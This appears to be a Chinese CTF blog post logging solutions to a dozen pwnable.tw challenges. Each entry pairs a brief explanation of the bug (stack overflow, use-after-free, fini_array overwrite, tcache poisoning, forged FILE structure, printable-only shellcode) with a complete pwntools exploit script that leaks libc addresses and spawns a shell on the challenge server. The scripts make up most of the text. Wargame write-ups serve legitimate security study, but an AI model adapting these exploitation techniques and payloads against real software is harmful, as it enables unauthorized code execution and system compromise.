目录

pwnable.tw刷题记录(一)

当你在穿山越岭的另一边,我在孤独的路上没有尽头。 ——《思念是一种病》 张震岳

start

程序存在一个简单的栈溢出,并且没有开启NX保护,所以可以向栈中写shellcode。唯一的难点就是没有办法泄漏stack地址,但是可以利用程序的第一句push esp来达到不泄漏地址而执行shellcode的目的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#Author: Nopnoping
from pwn import *

s      = lambda data               :sh.send(data) 
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
sea     = lambda delim,data         :sh.sendafter(delim, data)
r      = lambda numb=4096          :sh.recv(numb)
ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
info_addr = lambda tag, addr        :sh.info(tag +': {:#x}'.format(addr))
itr     = lambda                    :sh.interactive()
debug	= lambda command=''			:gdb.attach(sh,command)

if args['REMOTE']:
	sh=remote('chall.pwnable.tw',10000)
else:
	sh=process('./start')

if args['I386']:
	context.arch='i386'
else:
	context.arch='amd64'

if args['DEBUG']:
	context.log_level='debug'

def exp():
	#debug("b*0x0804809C\nc")
	# shellcode='''
	# mov ecx,esp
	# add ecx,0x100
	# mov dl,0xff
	# mov al,3
	# int 0x80
	# jmp ecx
	# '''
	payload="\x00"*0x14+p32(0x08048060)+asm(shellcraft.sh())
	print hex(len(payload))
	sa(":",payload)
	payload="\x00"*0x14+p32(0x0804809C)
	sa(":",payload)
	# sleep(3)
	# s(asm(shellcraft.sh()))
	itr()

exp()

orw

开启了沙盒,考察orw的shellcode书写。

注:写shellcode的一些技巧,灵活利用push 和pop来修改寄存器的值,这样可以减少shellcode的大小,还可以利用push来在栈上布置字符串,然后利用esp来访问。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#Author: Nopnoping
from pwn import *

s      = lambda data               :sh.send(data) 
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
sea     = lambda delim,data         :sh.sendafter(delim, data)
r      = lambda numb=4096          :sh.recv(numb)
ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
info_addr = lambda tag, addr        :sh.info(tag +': {:#x}'.format(addr))
itr     = lambda                    :sh.interactive()
debug	= lambda command=''			:gdb.attach(sh,command)

if args['REMOTE']:
	sh=remote('chall.pwnable.tw',10001)
else:
	sh=process("./orw")

if args['I386']:
	context.arch='i386'
else:
	context.arch='amd64'

if args['DEBUG']:
	context.log_level='debug'

def exp():
	#debug("b*0x0804858A\nc")
	shellcode='''
	push 5
	pop eax
	push 0x804a089
	pop ebx
	push 0
	pop ecx
	int 0x80

	mov ebx,eax
	push 3
	pop eax
	push 0x804a089
	pop ecx
	push 0x100
	pop edx
	int 0x80

	push 4
	pop eax
	push 1
	pop ebx
	int 0x80
	'''
	payload=asm(shellcode)+b"/home/orw/flag\x00"
	sla(":",payload)
	itr()

exp()

calc(Fun)

在计算功能函数中,有一个数组的第一个元素用于储存输入表达式的读入数字数,而如果输入的第一个字符为+时,就可以篡改第一个元素,即修改读入数字的总数,进而可以实现任意地址修改,来实现ROP。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#Author: Nopnoping
from pwn import *

s      = lambda data               :sh.send(data) 
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
sea     = lambda delim,data         :sh.sendafter(delim, data)
r      = lambda numb=4096          :sh.recv(numb)
ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
info_addr = lambda tag, addr        :sh.info(tag +': {:#x}'.format(addr))
itr     = lambda                    :sh.interactive()
debug	= lambda command=''			:gdb.attach(sh,command)

if args['REMOTE']:
	sh=remote('chall.pwnable.tw',10100)
else:
	sh=process("./calc")

if args['I386']:
	context.arch='i386'
else:
	context.arch='amd64'

if args['DEBUG']:
	context.log_level='debug'

def modify_stack(addr_offset,value):
	payload="+"+str(addr_offset)+"-"+str(value)
	ru("\n")
	sl(payload)

def exp():
	mprotect=0x806F1F0
	read=0x806e6da
	bss=0x80EE000
	payload=[mprotect,0x08049812,bss,0x1000,7,read,bss+0x300,0x8049c30,0x80EE300-0x8049c30]
	#debug("b*0x08049812\nc")
	length=len(payload)-1
	while length>=0:
		modify_stack(0x168+length,payload[length])
		length-=1
	sl("")
	sleep(2)
	shellcode=asm(shellcraft.sh())
	sl(shellcode)
	itr()

exp()

3×17

可以任意地址写0x18的数据,但是只能写一次,程序是静态连接并且没有开启PIE,可以很容易想到去攻击fini_array。

C:\Users\10457\AppData\Roaming\Typora\typora-user-images\image-20201010202556381.png

当程序退出时,先会执行[fini_array+8]处的代码,再执行[fini_array]。如果将fini_array=fini函数,fini_array+8=main,那么就可以不断的套娃,任意地址写。若在fini_array+16后面布置ROP,并且把fini_array=leave,ret fini_array+8=ret,那么就可以实现栈迁移进而获得shell。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#Author: Nopnoping
from pwn import *

s      = lambda data               :sh.send(data) 
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
sea     = lambda delim,data         :sh.sendafter(delim, data)
r      = lambda numb=4096          :sh.recv(numb)
ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
info_addr = lambda tag, addr        :sh.info(tag +': {:#x}'.format(addr))
itr     = lambda                    :sh.interactive()
debug	= lambda command=''			:gdb.attach(sh,command)

if args['REMOTE']:
	sh=remote("chall.pwnable.tw","10105")
else:
	sh=process("./3x17")

if args['I386']:
	context.arch='i386'
else:
	context.arch='amd64'

if args['DEBUG']:
	context.log_level='debug'

def write_data(addr,data):
	ru("addr")
	sl(str(addr))
	ru("data")
	s(data)

def exp():
	fini=0x0000000000402960
	fini_array=0x00000000004B40F0
	main=0x0000000000401B6D
	syscall=0x0000000000472495
	rax_ret=0x000000000041e4af
	rdi_ret=0x0000000000401696
	rsi_ret=0x00000000004130be
	rdx_ret=0x0000000000446e35
	leave=0x0000000000401c4b
	ret=0x0000000000401016
	write_data(fini_array,p64(fini)+p64(main)+p64(rax_ret))
	write_data(fini_array+0x18,p64(59)+p64(rdi_ret)+p64(fini_array+0x58))
	write_data(fini_array+0x30,p64(rsi_ret)+p64(0)+p64(rdx_ret))
	write_data(fini_array+0x48,p64(0)+p64(syscall)+b"/bin/sh\x00")
	write_data(fini_array,p64(leave)+p64(ret)+p64(rax_ret))	
	itr()

exp()

dubblesort

在读入数据时,没有限制数据的总数,存在栈溢出,可以布置ROP攻击链,只不过程序会对输入的数据进行一个冒泡排序。在输入名字时,由于没有初始化数据,可以泄漏栈上的垃圾数据来泄漏libc。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#Author: Nopnoping
from pwn import *

s      = lambda data               :sh.send(data) 
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
sea     = lambda delim,data         :sh.sendafter(delim, data)
r      = lambda numb=4096          :sh.recv(numb)
ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
info_addr = lambda tag, addr        :sh.info(tag +': {:#x}'.format(addr))
itr     = lambda                    :sh.interactive()
debug	= lambda command=''			:gdb.attach(sh,command)

if args['REMOTE']:
	sh=remote("chall.pwnable.tw",10101)
else:
	sh=process("./dubblesort")

if args['I386']:
	context.arch='i386'
else:
	context.arch='amd64'

if args['DEBUG']:
	context.log_level='debug'

def exp():
	libc=ELF("./libc_32.so.6")
	#debug("b*0x56555A32\nb*0x56555AF9\nc")
	sa(":","a"*28)
	ru("a"*28)
	libc_base=u32(r(4))-0x1ae244
	system=libc_base+libc.symbols['system']
	bin_sh=libc_base+libc.search("/bin/sh\x00").next()
	info_addr("libc_base",libc_base)
	info_addr("system",system)
	info_addr("bin_sh",bin_sh)
	sla("sort :",str(35))
	for i in range(24):
		sla("number :",str(0))
	sla("number :","+")
	for i in range(7):
		sla("number :",str(system-1))
	sla("number :",str(system))
	sla("number :",str(bin_sh-1))
	sla("number :",str(bin_sh))
	itr()

exp()

hacknote

free后指针没有清零,存在UAF漏洞,并且堆块中有一个地址用于存放一个函数地址。因此我们可以利用UAF漏洞使得堆块重叠,再修改堆块函数地址的值,来获得shell。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#Author: Nopnoping
from pwn import *

s      = lambda data               :sh.send(data) 
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
sea     = lambda delim,data         :sh.sendafter(delim, data)
r      = lambda numb=4096          :sh.recv(numb)
ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
info_addr = lambda tag, addr        :sh.info(tag +': {:#x}'.format(addr))
itr     = lambda                    :sh.interactive()
debug	= lambda command=''			:gdb.attach(sh,command)

if args['REMOTE']:
	sh=remote("chall.pwnable.tw",10102)
else:
	sh=process("./hacknote")

if args['I386']:
	context.arch='i386'
else:
	context.arch='amd64'

if args['DEBUG']:
	context.log_level='debug'

def choice(elect):
	ru(':')
	sl(str(elect))

def add(size,content):
	choice(1)
	ru(':')
	sl(str(size))
	ru(":")
	s(content)

def show(index):
	choice(3)
	ru(':')
	sl(str(index))

def delete(index):
	choice(2)
	ru(':')
	sl(str(index))

def exp():
	libc=ELF("./libc_32.so.6")
	add(0x48,'aa') #0
	add(0x28,"aa") #1
	delete(0)
	delete(1)
	add(0x8,p32(0x0804862B)) #2
	show(0)
	__memalign_hook=u32(r(4))-48-0x20
	libc_base=__memalign_hook-libc.symbols["__memalign_hook"]
	system=libc_base+libc.symbols["system"]
	info_addr("libc_base",libc_base)
	delete(2)
	add(0x8,p32(system)+";sh\x00")
	show(0)
	itr()

exp()

SilverBullet(Fun)

strncat函数会将第二个字符串的n个字符拼接到第一个字符串的末尾,并且在最后添加一个\x00,利用这一个特性,可以将存放字符串长度的变量溢出成0,进而再次读入时可以实现栈溢出。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#Author: Nopnoping
from pwn import *

s      = lambda data               :sh.send(data) 
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
sea     = lambda delim,data         :sh.sendafter(delim, data)
r      = lambda numb=4096          :sh.recv(numb)
ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
info_addr = lambda tag, addr        :sh.info(tag +': {:#x}'.format(addr))
itr     = lambda                    :sh.interactive()
debug	= lambda command=''			:gdb.attach(sh,command)

if args['REMOTE']:
	sh=remote('chall.pwnable.tw',10103)
else:
	sh=process("./silver_bullet")

if args['I386']:
	context.arch='i386'
else:
	context.arch='amd64'

if args['DEBUG']:
	context.log_level='debug'

def choice(elect):
	ru('choice :')
	sl(str(elect))

def creat_bullut(content):
	choice(1)
	ru(':')
	s(content)

def power_up(content):
	choice(2)
	ru(':')
	s(content)

def beat():
	choice(3)

def attack(ROP):
	creat_bullut("a"*0x2e)
	power_up("aa")
	power_up("\xf0"*3+p32(0x1010101)+ROP)
	beat()

def exp():
	libc=ELF("./libc_32.so.6")
	puts_plt=0x080484A8
	puts_got=0x0804AFDC
	main=0x08048954
	#debug("b*0x08048A18\nc")
	attack(p32(puts_plt)+p32(main)+p32(puts_got))
	ru("!!\n")
	puts=u32(r(4))
	libc_base=puts-libc.symbols["puts"]
	system=libc_base+libc.symbols["system"]
	bin_sh=libc_base+libc.search("/bin/sh").next()
	info_addr("libc_base",libc_base)
	attack(p32(system)+p32(main)+p32(bin_sh))
	itr()

exp()

applestore(Fun)

这道题的漏洞是出在checkout中,当购买的手机金额达到7174时,就可以购买到一个储存在栈地址上的手机,而栈上的值可以在delete函数中进行修改,这样就可以利用双向链表的接链操作来进行任意地址的修改。

这里有一个难点就是不能直接修改got表上的值,比如如果想将atoi_got修改为system,那么也会将system修改为atoi_got而system地址是只读不能写的,就会报错,因此我们只能考虑使用ROP,想要使用ROP需要先泄漏heap和stack地址,泄漏之后如何实现ROP呢?程序并不存在栈溢出,我们只能使用dword shoot攻击方法。

dword shoot攻击方法假如有两个函数A B,B执行完后,A将会立刻执行leave ret,所以可以修改B的rbp,然后利用A的leave ret来实现栈迁移,栈迁移后就是普通的ROP了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#Author: Nopnoping
from pwn import *

s      = lambda data               :sh.send(data) 
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
sea     = lambda delim,data         :sh.sendafter(delim, data)
r      = lambda numb=4096          :sh.recv(numb)
ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
info_addr = lambda tag, addr        :sh.info(tag +': {:#x}'.format(addr))
itr     = lambda                    :sh.interactive()
debug	= lambda command=''			:gdb.attach(sh,command)

if args['REMOTE']:
	sh=remote("chall.pwnable.tw",10104)
else:
	sh=process("./applestore")

if args['I386']:
	context.arch='i386'
else:
	context.arch='amd64'

if args['DEBUG']:
	context.log_level='debug'

def choice(elect):
	ru('> ')
	sl(str(elect))

def add(index):
	choice(2)
	ru('> ')
	sl(str(index))

def delete(index):
	choice(3)
	ru('> ')
	s(index)

def cart(c):
	choice(4)
	ru("> ")
	s(c)

def checkout():
	choice(5)
	ru("> ")
	sl("y")

def exp():
	libc=ELF("./libc_32.so.6")
	atoi_got=0x0804B040
	#debug("b*0x08048C86\nc")
	for i in range(6):
		add(1)
	for i in range(20):
		add(2)
	checkout()
	delete("27"+p32(atoi_got)+"a"*4+p32(0)*2)
	ru("27:")
	atoi=u32(r(4))
	libc_base=atoi-libc.symbols['atoi']
	system=libc_base+libc.symbols['system']
	bin_sh=libc_base+libc.search("/bin/sh").next()
	info_addr("atoi",atoi)
	info_addr("libc_base",libc_base)
	info_addr("system",system)
	delete("27"+p32(0x0804B068+8)+"a"*4+p32(0)*2)
	ru("27:")
	heap=u32(r(4))
	info_addr("heap",heap)
	delete("27"+p32(heap+0x4a0)+"a"*4+p32(0)*2)
	ru("27:")
	stack=u32(r(4))
	info_addr("stack",stack)
	#dword shoot
	delete("27"+p32(heap)+p32(0)+p32(stack+0x40)+p32(stack+0x60-8))
	sla("> ","6\x00"+p32(0)+p32(system)+p32(system)+p32(bin_sh))
	itr()

exp()

Re-alloc

这道题主要考察队realloc函数的理解,当realloc的size为零时将会释放指向的堆块并返回零,size不为零时,会释放掉之前的块再重新分配一个。

利用size为0的这个特性,可以造成UAF漏洞,但是程序没有显示功能所以需要攻击IO_file来获得libc,但是这里提供一个新的思路,就是修改atoll为printf,然后就有一个格式化字符串漏洞,利用这个漏洞就可以泄漏得到libc,进而获得shell。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#Author: Nopnoping
from pwn import *

s      = lambda data               :sh.send(data) 
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
sea     = lambda delim,data         :sh.sendafter(delim, data)
r      = lambda numb=4096          :sh.recv(numb)
ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
info_addr = lambda tag, addr        :sh.info(tag +': {:#x}'.format(addr))
itr     = lambda                    :sh.interactive()
debug	= lambda command=''			:gdb.attach(sh,command)

if args['REMOTE']:
	sh=remote("chall.pwnable.tw",10106)
else:
	sh=process("./re-alloc")

if args['I386']:
	context.arch='i386'
else:
	context.arch='amd64'

if args['DEBUG']:
	context.log_level='debug'

def choice(elect):
	ru(':')
	sl(str(elect))

def add(index,size,content):
	choice(1)
	ru(':')
	sl(str(index))
	ru(':')
	sl(str(size))
	ru(':')
	s(content)

def re_alloc(index,size,content):
	choice(2)
	ru(':')
	sl(str(index))
	ru(":")
	sl(str(size))
	if size!=0:
		ru(':')
		sl(content)

def delete(index):
	choice(3)
	ru(':')
	sl(str(index))

def exp():
	elf=ELF("./re-alloc")
	libc=ELF("./libc.so")
	add(0,0x18,"a")
	re_alloc(0,0,"")
	re_alloc(0,0x18,p64(elf.got["atoll"]))
	add(1,0x18,"a")

	re_alloc(0,0x28,"a")
	re_alloc(1,0x28,"a")
	delete(1)
	re_alloc(0,0x28,p64(elf.got["atoll"]))
	add(1,0x28,"a")

	re_alloc(0,0x38,"a")
	re_alloc(1,0x38,"a")
	delete(0)
	re_alloc(1,0x38,p64(0)*2)
	delete(1)

	add(0,0x28,p64(elf.plt["printf"]))

	choice(3)
	sla(":","%7$p")
	libc_base=int(ru("\n").replace("\n",""),16)-libc.symbols["_IO_2_1_stdout_"]
	info_addr("libc_base",libc_base)
	system=libc_base+libc.symbols['system']
	#debug("b*0x00000000004013C9\nc")
	choice(1)
	sla("Index:","A\x00")
	sla("Size:","a"*15)
	sla(":",p64(system))
	choice(3)
	sla(":","/bin/sh\x00")
	itr()

exp()

Tcache Tear

存在一个UAF漏洞,关键在于如何泄漏libc地址。程序在开头是要求输入一个name,并且还有显示name的功能,可以想到在name处构造一个fakechunk来泄漏libc。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#Author: Nopnoping
from pwn import *
import struct
s      = lambda data               :sh.send(data) 
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
sea     = lambda delim,data         :sh.sendafter(delim, data)
r      = lambda numb=4096          :sh.recv(numb)
ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
info_addr = lambda tag, addr        :sh.info(tag +': {:#x}'.format(addr))
itr     = lambda                    :sh.interactive()
debug	= lambda command=''			:gdb.attach(sh,command)

if args['REMOTE']:
	sh=remote("chall.pwnable.tw",10207)
else:
	sh=process("./tcache_tear")

if args['I386']:
	context.arch='i386'
else:
	context.arch='amd64'

if args['DEBUG']:
	context.log_level='debug'

def choice(elect):
	ru(':')
	sl(str(elect))

def add(size,content):
	choice(1)
	ru(':')
	sl(str(size))
	ru(":")
	s(content)

def delete():
	choice(2)

def exp():
	libc=ELF("./libc.so")
	elf=ELF("./tcache_tear")
	name=0x0000000000602060
	atoll=elf.got["atoll"]
	printf=elf.plt["printf"]
	#make fake chunk
	sla(":",p64(0)+p64(0x501))
	#make bk chunk
	add(0xff,"a")
	delete()
	delete()
	add(0xff,p64(name+0x500))
	add(0xff,"\x00")
	add(0xff,p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x21))
	#get fake chunk point
	add(0x70,"a")
	delete()
	delete()
	add(0x70,p64(name+0x10))
	add(0x70,"\x00")
	add(0x70,"\x00")
	delete()
	#leak
	choice(3)
	ru(":"+p64(0)+p64(0x501))
	malloc_hook=u64(r(8))-96-0x10
	libc_base=malloc_hook-libc.symbols["__malloc_hook"]
	free_hook=libc_base+libc.symbols["__free_hook"]
	system=libc_base+libc.symbols["system"]
	info_addr("libc_base",libc_base)
	info_addr("system",system)
	info_addr("free_hook",free_hook)
	#get shell
	for i in range(5):
		add(0xf0,"aa")
	add(0x60,"a")
	delete()
	delete()
	add(0x60,p64(free_hook))
	add(0x60,p64(0))
	add(0x60,p64(system))
	add(0x20,"/bin/sh\x00")
	delete()
	itr()

exp()

seethefile(Fun)

这道题十分有趣,首先泄漏libc是通过打开/pro/self/maps这个文件来得到。得到libc后,在输入name时,没有限制读入name的长度,导致程序会溢出覆盖fd,因此可以伪造一个文件结构和虚函数表,来获得shell。这里由于会调用fclose函数,而fclose会调用_IO_finish_t,因此可以构造虚函数表中该函数的地址来获得shell。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
#Author: Nopnoping
from pwn import *
from struct import *
s      = lambda data               :sh.send(data) 
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
sea     = lambda delim,data         :sh.sendafter(delim, data)
r      = lambda numb=4096          :sh.recv(numb)
ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
info_addr = lambda tag, addr        :sh.info(tag +': {:#x}'.format(addr))
itr     = lambda                    :sh.interactive()
debug	= lambda command=''			:gdb.attach(sh,command)

if args['REMOTE']:
	sh=remote("chall.pwnable.tw",10200)
else:
	sh=process("./seethefile")

if args['I386']:
	context.arch='i386'
else:
	context.arch='amd64'

if args['DEBUG']:
	context.log_level='debug'
def pack_file_32(_flags = "\x80\x80||",
              _IO_read_ptr = "sh\x00\x00",
              _IO_read_end = 0,
              _IO_read_base = 0,
              _IO_write_base = 0,
              _IO_write_ptr = 0,
              _IO_write_end = 0,
              _IO_buf_base = 0,
              _IO_buf_end = 0,
              _IO_save_base = 0,
              _IO_backup_base = 0,
              _IO_save_end = 0,
              _IO_marker = 0,
              _IO_chain = 0,
              _fileno = 0,
              _lock = 0,
              _mode = 0):
    struct = _flags + \
             _IO_read_ptr+ \
             p32(_IO_read_end)+ \
             p32(_IO_read_base) + \
             p32(_IO_write_base) + \
             p32(_IO_write_ptr) + \
             p32(_IO_write_end) + \
             p32(_IO_buf_base) + \
             p32(_IO_buf_end) + \
             p32(_IO_save_base) + \
             p32(_IO_backup_base) + \
             p32(_IO_save_end) + \
             p32(_IO_marker) + \
             p32(_IO_chain) + \
             p32(_fileno)
    struct = struct.ljust(0x94, "\x00")
    return struct

def choice(elect):
	ru('choice :')
	sl(str(elect))

def openfile(filename):
	choice(1)
	ru(':')
	sl(filename)

def readfile():
	choice(2)

def writefile():
	choice(3)

def closefile():
	choice(4)

def exp():
	libc=ELF("./libc_32.so.6")
	name=0x0804B260
	#debug("b*0x08048B0F\nc")
	openfile("/proc/self/maps")
	readfile()
	writefile()
	readfile()
	writefile()
	ru("\n")
	libc_base=int(ru("-").replace("-","\x00"),16)
	system=libc_base+libc.symbols["system"]
	info_addr("libc_base",libc_base)
	info_addr("system",system)
	choice(5)
	fd=pack_file_32()+p32(name)
	payload=p32(0)*2+p32(system)
	payload=payload.ljust(0x20,"\x00")
	payload+=p32(name+0x30)
	payload=payload.ljust(0x30,"\x00")
	payload+=fd
	sla(":",payload)
	itr()

exp()

Death Note

对于数组的下标没有严格的判断,可以为负数,存在溢出,并且没有开启NX,所以考虑写shellcode,但是读入的字符必须为可写字符,这就使得可以使用的指令大大减少。像syscall这样的指令就没办法读入了,只能通过sub等等指令,动态的修改shellcode。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#Author: Nopnoping
from pwn import *

s      = lambda data               :sh.send(data) 
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
sea     = lambda delim,data         :sh.sendafter(delim, data)
r      = lambda numb=4096          :sh.recv(numb)
ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
info_addr = lambda tag, addr        :sh.info(tag +': {:#x}'.format(addr))
itr     = lambda                    :sh.interactive()
debug	= lambda command=''			:gdb.attach(sh,command)

if args['REMOTE']:
	sh=remote("chall.pwnable.tw",10201)
else:
	sh=process("./death_note")

if args['I386']:
	context.arch='i386'
else:
	context.arch='amd64'

if args['DEBUG']:
	context.log_level='debug'

def choice(elect):
	ru(':')
	sl(str(elect))

def add(index,shellcode):
	choice(1)
	ru(':')
	sl(str(index))
	ru(":")
	sl(shellcode)

def delete(index):
	choice(3)
	ru(":")
	sl(str(index))


def exp():
	#debug("b*0x08048873\nc")
	shellcode='''
	push 0x68
	push 0x732f2f2f
	push 0x6e69622f
	push esp
	pop  ebx

	push 0x33
	pop  ecx
	sub byte ptr [eax+0x2d],cl
	push 0x40
	pop  ecx
	sub byte ptr [eax+0x2e],cl
	sub byte ptr [eax+0x2e],cl

	push 0x61
	pop  eax
	sub  al,0x61
	push eax
	pop  ecx
	push eax
	pop  edx

	push 0x61
	pop  eax
	xor  al,0x6a

	push eax
	pop  eax
	'''
	payload=asm(shellcode)
	offset=-(0x804A060-0x0804A014)/4
	add(offset,payload)
	delete(offset)
	itr()

exp()

spirited_away

babystack

login和cpy的栈环境是一样的,可以利用在login中构造ROP,cpy中来把ROP数据粘贴过去造成溢出。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#Author: Nopnoping
from pwn import *
import time
import struct
s      = lambda data               :sh.send(data) 
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
sea     = lambda delim,data         :sh.sendafter(delim, data)
r      = lambda numb=4096          :sh.recv(numb)
ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
info_addr = lambda tag, addr        :sh.info(tag +': {:#x}'.format(addr))
itr     = lambda                    :sh.interactive()

if args['REMOTE']:
	sh=remote("chall.pwnable.tw",10205)
else:
	sh=process("./babystack")

if args['I386']:
	context.arch='i386'
else:
	context.arch='amd64'

if args['DEBUG']:
	context.log_level='debug'

def debug(command=''):
	context.terminal = ['tmux', 'splitw', '-h']
	gdb.attach(sh,command)

def login(content="\x00"):
	ru(">> ")
	sl("1")
	ru(":")
	s(content)

def magic_copy(content):
	ru(">> ")
	sl("3")
	ru(":")
	s(content)

def leak(length):
	data=""
	for i in range(length):
		for j in range(1,256):
			tmp_data=data+chr(j)+"\x00"
			login(tmp_data)
			ru("i")
			msg=ru("\n").decode().replace("\n",'\x00')
			if msg=="n Success !":
				print("get%d"%i)
				ru(">> ")
				sl("1")
				data=data+chr(j)
				break
	return data

def exp():
	libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
	#leak passwd
	passwd=leak(16)
	login(passwd+"\x00"+"a"*0x37)
	#leak libc
	magic_copy("a"*0x11)
	ru(">> ")
	sl("1")
	file_setbuf=u64(leak(16).replace("a","").ljust(8,"\x00"))-9
	info_addr("file",file_setbuf)
	libc_base=file_setbuf-libc.symbols["_IO_file_setbuf"]
	onegadget=libc_base+0xf1207
	info_addr("onegadget",onegadget)
	info_addr("libc_base",libc_base)
	#ROP
	a=u64(passwd[0:8])
	b=u64(passwd[8:])
	payload=b"a"*0x7+b"\x00"+b"a"*0x38+p64(a)+p64(b)+b"a"*0x18+p64(onegadget)
	login(payload)
	magic_copy(b"a"*0x8)
	#get shell
	ru(">>")
	sl("2")
	itr()

exp()